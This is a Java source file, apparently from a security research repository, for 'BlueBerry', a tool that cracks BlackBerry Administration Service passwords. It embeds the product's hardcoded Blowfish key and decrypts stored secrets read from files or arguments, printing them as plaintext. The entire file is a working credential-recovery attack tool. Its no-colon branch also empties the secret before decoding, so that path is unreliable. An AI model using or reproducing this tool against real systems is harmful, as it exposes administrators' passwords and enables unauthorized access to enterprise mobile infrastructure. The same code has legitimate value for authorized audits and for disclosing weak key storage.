/BlueBerry.java

https://github.com/Synacktiv/stuffz · Java · 108 lines · 82 code · 19 blank · 7 comment · 20 complexity · 8f92290dd12f1386f30e796a647a1f1d MD5 · raw file

  1. /*
  2. * BlueBerry, a BlackBerry Administration Service passwords cracker
  3. * -- nicolas.collignon@hsc.fr
  4. */
  5. import java.io.FileInputStream;
  6. import java.io.DataInputStream;
  7. import java.io.BufferedReader;
  8. import java.io.InputStreamReader;
  9. import java.math.BigInteger;
  10. import javax.crypto.Cipher;
  11. import javax.crypto.spec.SecretKeySpec;
  12. public class BlueBerry {
  13. private static final String algo = "Blowfish";
  14. // jaas is the way
  15. private static final byte[] magic_key =
  16. {0x6a,0x61,0x61,0x73,0x20,0x69,0x73,0x20,0x74,0x68,0x65,0x20,0x77,0x61,0x79};
  17. public static String decode(String password) {
  18. Cipher cipher;
  19. byte[] data;
  20. byte msb;
  21. try {
  22. cipher = Cipher.getInstance(algo);
  23. cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(magic_key, algo));
  24. msb = 1;
  25. if (password.startsWith("z")) {
  26. password = password.substring(1);
  27. msb = 0;
  28. } else if (password.startsWith("m")) {
  29. password = password.substring(1);
  30. msb = -1;
  31. }
  32. data = (new BigInteger(password, 16)).toByteArray();
  33. if (msb != 1)
  34. data[0] = msb;
  35. return new String(cipher.doFinal(data));
  36. } catch (Exception e) {
  37. System.err.println("error: failed to decrypt " + password + " (" + e.toString() +")");
  38. return "<error>";
  39. }
  40. }
  41. public static void main(String argv[]) {
  42. int i, pos;
  43. DataInputStream in;
  44. BufferedReader br;
  45. String line, secret;
  46. if ((argv == null) || (argv.length < 1)
  47. || (argv[0].equals("-p") && (argv.length < 2))) {
  48. System.out.println("usage: BlueBerry <pass.txt> [[pass2.txt] ..]\n"
  49. + " -p <pass> [[pass2] ..]");
  50. return;
  51. }
  52. if (argv[0].equals("-p")) {
  53. // read passwords from command line
  54. for (i=1; i<argv.length; ++i) {
  55. if (argv.length > 2)
  56. System.out.println(argv[i] + ":" + decode(argv[i]));
  57. else
  58. System.out.println(decode(argv[i]));
  59. }
  60. return;
  61. }
  62. // read passwords from file
  63. for (i=0; i<argv.length; ++i) {
  64. try {
  65. in = new DataInputStream(new FileInputStream(argv[i]));
  66. br = new BufferedReader(new InputStreamReader(in));
  67. while ((line = br.readLine()) != null) {
  68. line = line.trim();
  69. if (line.equals(""))
  70. continue;
  71. pos = line.indexOf(":");
  72. if (pos > 0) {
  73. secret = line.substring(pos+1).trim();
  74. if (secret.equals(""))
  75. continue;
  76. line = line.substring(0, pos);
  77. } else {
  78. line = "";
  79. secret = line;
  80. }
  81. System.out.println(line + ":" +decode(secret));
  82. }
  83. in.close();
  84. } catch (Exception e) {
  85. System.err.println("error: failed to read " + argv[i] + " (" + e.toString() + ")");
  86. }
  87. }
  88. }
  89. }